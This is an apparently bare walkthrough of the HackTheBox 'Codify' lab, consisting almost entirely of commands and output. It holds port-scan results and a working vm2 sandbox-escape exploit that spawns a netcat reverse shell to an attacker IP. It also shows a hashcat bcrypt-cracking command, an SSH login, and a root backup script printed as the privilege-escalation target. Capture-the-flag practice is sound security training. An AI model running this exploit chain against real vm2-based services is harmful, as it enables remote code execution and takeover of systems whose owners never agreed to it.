HackTheBox Codify

$ rustscan --ulimit=5000 --range=1-65535 -a 10.10.11.239 -- -A -sC
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.239:22
Open 10.10.11.239:80
Open 10.10.11.239:3000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.239
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-04 15:02 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
Initiating Ping Scan at 15:02
Scanning 10.10.11.239 [2 ports]
Completed Ping Scan at 15:02, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:02
Completed Parallel DNS resolution of 1 host. at 15:02, 1.37s elapsed
DNS resolution of 1 IPs took 1.37s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 15:02
Scanning 10.10.11.239 [3 ports]
Discovered open port 22/tcp on 10.10.11.239
Discovered open port 80/tcp on 10.10.11.239
Discovered open port 3000/tcp on 10.10.11.239
Completed Connect Scan at 15:02, 0.06s elapsed (3 total ports)
Initiating Service scan at 15:02
Scanning 3 services on 10.10.11.239
Completed Service scan at 15:02, 11.19s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.11.239.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 1.96s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.24s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
Nmap scan report for 10.10.11.239
Host is up, received syn-ack (0.057s latency).
Scanned at 2023-11-04 15:02:45 EDT for 13s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN+/g3FqMmVlkT3XCSMH/JtvGJDW3+PBxqJ+pURQey6GMjs7abbrEOCcVugczanWj1WNU5jsaYzlkCEZHlsHLvk=
|   256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIm6HJTYy2teiiP6uZoSCHhsWHN+z3SVL/21fy6cZWZi
80/tcp   open  http    syn-ack Apache httpd 2.4.52
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    syn-ack Node.js Express framework
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.03 seconds

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.67 4242 >/tmp/f').toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));

hashcat -a 0 -m 3200 hash.txt rockyou.txt

ssh [email protected]

svc@codify:/opt/scripts$ cat mysql-backup.sh
cat mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

pspy -fp